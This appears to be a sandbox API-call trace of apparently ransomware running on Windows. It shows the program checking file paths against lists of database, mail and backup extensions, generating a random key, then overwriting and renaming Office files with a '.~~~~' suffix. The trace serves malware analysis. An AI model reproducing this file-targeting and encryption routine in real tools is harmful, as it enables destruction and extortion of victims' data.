	[0081.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".ost") returned 0x0
	[0081.028] lstrlenW (lpString=".txt") returned 4
	[0081.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".txt") returned 0x0
	[0081.028] lstrlenW (lpString=".mdt") returned 4
	[0081.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".mdt") returned 0x0
	[0081.028] lstrlenW (lpString=".BDB") returned 4
	[0081.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".BDB") returned 0x0
	[0081.028] lstrlenW (lpString=".eql") returned 4
	[0081.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".eql") returned 0x0
	[0081.028] lstrlenW (lpString=".DBF") returned 4
	[0081.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".DBF") returned 0x0
	[0081.028] lstrlenW (lpString=".EQL") returned 4
	[0081.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".EQL") returned 0x0
	[0081.028] lstrlenW (lpString=".FDB") returned 4
	[0081.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".FDB") returned 0x0
	[0081.028] lstrlenW (lpString=".EDB") returned 4
	[0081.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".EDB") returned 0x0
	[0081.029] lstrlenW (lpString=".DACPAC") returned 7
	[0081.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".DACPAC") returned 0x0
	[0081.029] lstrlenW (lpString=".VHD") returned 4
	[0081.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".VHD") returned 0x0
	[0081.029] lstrlenW (lpString=".DBV") returned 4
	[0081.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".DBV") returned 0x0
	[0081.029] lstrlenW (lpString=".dacpac") returned 7
	[0081.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".dacpac") returned 0x0
	[0081.029] lstrlenW (lpString=".sdf") returned 4
	[0081.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".sdf") returned 0x0
	[0081.029] lstrlenW (lpString=".accdb") returned 6
	[0081.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".accdb") returned 0x0
	[0081.029] lstrlenW (lpString=".DBX") returned 4
	[0081.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".DBX") returned 0x0
	[0081.029] lstrlenW (lpString=".MDT") returned 4
	[0081.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".MDT") returned 0x0
	[0081.029] lstrlenW (lpString=".SQB") returned 4
	[0081.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".SQB") returned 0x0
	[0081.029] lstrlenW (lpString=".vhd") returned 4
	[0081.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".vhd") returned 0x0
	[0081.029] lstrlenW (lpString=".bac") returned 4
	[0081.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".bac") returned 0x0
	[0081.029] lstrlenW (lpString=".mdf") returned 4
	[0081.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".mdf") returned 0x0
	[0081.030] lstrlenW (lpString=".BAK") returned 4
	[0081.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".BAK") returned 0x0
	[0081.030] lstrlenW (lpString=".BAC") returned 4
	[0081.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".BAC") returned 0x0
	[0081.030] lstrlenW (lpString=".dbs") returned 4
	[0081.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".dbs") returned 0x0
	[0081.030] lstrlenW (lpString=".vhdx") returned 5
	[0081.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".vhdx") returned 0x0
	[0081.030] lstrlenW (lpString=".NDF") returned 4
	[0081.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".NDF") returned 0x0
	[0081.030] lstrlenW (lpString=".dat") returned 4
	[0081.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".dat") returned 0x0
	[0081.030] lstrlenW (lpString=".DBS") returned 4
	[0081.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".DBS") returned 0x0
	[0081.030] lstrlenW (lpString=".CKP") returned 4
	[0081.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".CKP") returned 0x0
	[0081.030] lstrlenW (lpString=".edb") returned 4
	[0081.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".edb") returned 0x0
	[0081.030] lstrlenW (lpString=".PST") returned 4
	[0081.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".PST") returned 0x0
	[0081.030] lstrlenW (lpString=".dbf") returned 4
	[0081.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".dbf") returned 0x0
	[0081.030] lstrlenW (lpString=".SQL") returned 4
	[0081.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".SQL") returned 0x0
	[0081.031] lstrlenW (lpString=".pst") returned 4
	[0081.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".pst") returned 0x0
	[0081.031] lstrlenW (lpString=".dbv") returned 4
	[0081.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".dbv") returned 0x0
	[0081.031] lstrlenW (lpString=".SDF") returned 4
	[0081.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".SDF") returned 0x0
	[0081.031] lstrlenW (lpString=".dtxs") returned 5
	[0081.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".dtxs") returned 0x0
	[0081.031] lstrlenW (lpString=".db3") returned 4
	[0081.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".db3") returned 0x0
	[0081.031] lstrlenW (lpString=".OST") returned 4
	[0081.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".OST") returned 0x0
	[0081.031] lstrlenW (lpString=".dbx") returned 4
	[0081.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".dbx") returned 0x0
	[0081.031] lstrlenW (lpString=".DB3") returned 4
	[0081.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".DB3") returned 0x0
	[0081.031] lstrlenW (lpString=".DAT") returned 4
	[0081.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".DAT") returned 0x0
	[0081.031] lstrlenW (lpString=".VHDX") returned 5
	[0081.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".VHDX") returned 0x0
	[0081.031] lstrlenW (lpString=".ndf") returned 4
	[0081.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".ndf") returned 0x0
	[0081.031] lstrlenW (lpString=".DB") returned 3
	[0081.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".DB") returned 0x0
	[0081.031] lstrlenW (lpString=".sql") returned 4
	[0081.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".sql") returned 0x0
	[0081.032] lstrlenW (lpString=".MYD") returned 4
	[0081.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".MYD") returned 0x0
	[0081.032] lstrlenW (lpString=".DBT") returned 4
	[0081.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".DBT") returned 0x0
	[0081.032] lstrlenW (lpString=".ACCDB") returned 6
	[0081.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".ACCDB") returned 0x0
	[0081.032] lstrlenW (lpString=".fdb") returned 4
	[0081.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".fdb") returned 0x0
	[0081.032] lstrlenW (lpString=".bak") returned 4
	[0081.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".bak") returned 0x0
	[0081.032] lstrlenW (lpString=".myd") returned 4
	[0081.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".myd") returned 0x0
	[0081.032] lstrlenW (lpString=".DTXS") returned 5
	[0081.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".DTXS") returned 0x0
	[0081.032] lstrlenW (lpString=".ckp") returned 4
	[0081.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".ckp") returned 0x0
	[0081.032] lstrlenW (lpString=".dbt") returned 4
	[0081.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".dbt") returned 0x0
	[0081.032] lstrlenW (lpString=".db") returned 3
	[0081.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".db") returned 0x0
	[0081.032] lstrlenW (lpString=".TXT") returned 4
	[0081.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".TXT") returned 0x0
	[0081.032] lstrlenW (lpString=".MDF") returned 4
	[0081.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".MDF") returned 0x0
	[0081.032] lstrlenW (lpString=".bdb") returned 4
	[0081.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".bdb") returned 0x0
	[0081.033] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0081.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.033] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0081.034] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.034] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0081.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0081.034] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20102416188) returned 1
	[0081.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9a25c2b0, dwHighDateTime=0x1d60e1e)) 
	[0081.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0081.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0081.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0081.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe018
	[0081.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe018 | out: hHeap=0x300000) returned 1
	[0081.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.035] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0081.035] GetLastError () returned 0x0
	[0081.035] GetLastError () returned 0x0
	[0081.035] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0081.035] GetLastError () returned 0x0
	[0081.035] GetLastError () returned 0x0
	[0081.036] ReadFile (in: hFile=0x128, lpBuffer=0x37b730, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesRead=0x1f8fec0*=0x5aa, lpOverlapped=0x0) returned 1
	[0081.170] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffa56, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.170] WriteFile (in: hFile=0x128, lpBuffer=0x37b730*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesWritten=0x1f8fec0*=0x5aa, lpOverlapped=0x0) returned 1
	[0081.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b730 | out: hHeap=0x300000) returned 1
	[0081.170] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.170] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.171] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.171] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.171] CloseHandle (hObject=0x128) returned 1
	[0081.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x100) returned 0x3ac250
	[0081.171] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.~~~~")) returned 1
	[0081.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac250 | out: hHeap=0x300000) returned 1
	[0081.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0081.172] GetLastError () returned 0x0
	[0081.172] RtlWakeConditionVariable () returned 0x365f70
	[0081.172] GetCurrentThreadId () returned 0xaf0
	[0081.172] GetCurrentThreadId () returned 0xaf0
	[0081.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fae60 | out: hHeap=0x300000) returned 1
	[0081.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fab68 | out: hHeap=0x300000) returned 1
	[0081.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0a88
	[0081.173] lstrlenW (lpString=".scr") returned 4
	[0081.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".scr") returned 0x0
	[0081.173] lstrlenW (lpString=".cmd") returned 4
	[0081.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".cmd") returned 0x0
	[0081.173] lstrlenW (lpString=".dll") returned 4
	[0081.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".dll") returned 0x0
	[0081.173] lstrlenW (lpString=".bat") returned 4
	[0081.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".bat") returned 0x0
	[0081.173] lstrlenW (lpString=".cpl") returned 4
	[0081.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".cpl") returned 0x0
	[0081.173] lstrlenW (lpString=".sys") returned 4
	[0081.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".sys") returned 0x0
	[0081.173] lstrlenW (lpString=".msc") returned 4
	[0081.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".msc") returned 0x0
	[0081.173] lstrlenW (lpString=".com") returned 4
	[0081.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".com") returned 0x0
	[0081.173] lstrlenW (lpString=".lnk") returned 4
	[0081.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".lnk") returned 0x0
	[0081.173] lstrlenW (lpString=".msp") returned 4
	[0081.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".msp") returned 0x0
	[0081.174] lstrlenW (lpString=".pif") returned 4
	[0081.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".pif") returned 0x0
	[0081.174] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0081.174] lstrlenW (lpString=".sqb") returned 4
	[0081.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".sqb") returned 0x0
	[0081.174] lstrlenW (lpString=".ost") returned 4
	[0081.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".ost") returned 0x0
	[0081.174] lstrlenW (lpString=".txt") returned 4
	[0081.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".txt") returned 0x0
	[0081.174] lstrlenW (lpString=".mdt") returned 4
	[0081.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".mdt") returned 0x0
	[0081.175] lstrlenW (lpString=".BDB") returned 4
	[0081.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".BDB") returned 0x0
	[0081.175] lstrlenW (lpString=".eql") returned 4
	[0081.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".eql") returned 0x0
	[0081.175] lstrlenW (lpString=".DBF") returned 4
	[0081.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".DBF") returned 0x0
	[0081.175] lstrlenW (lpString=".EQL") returned 4
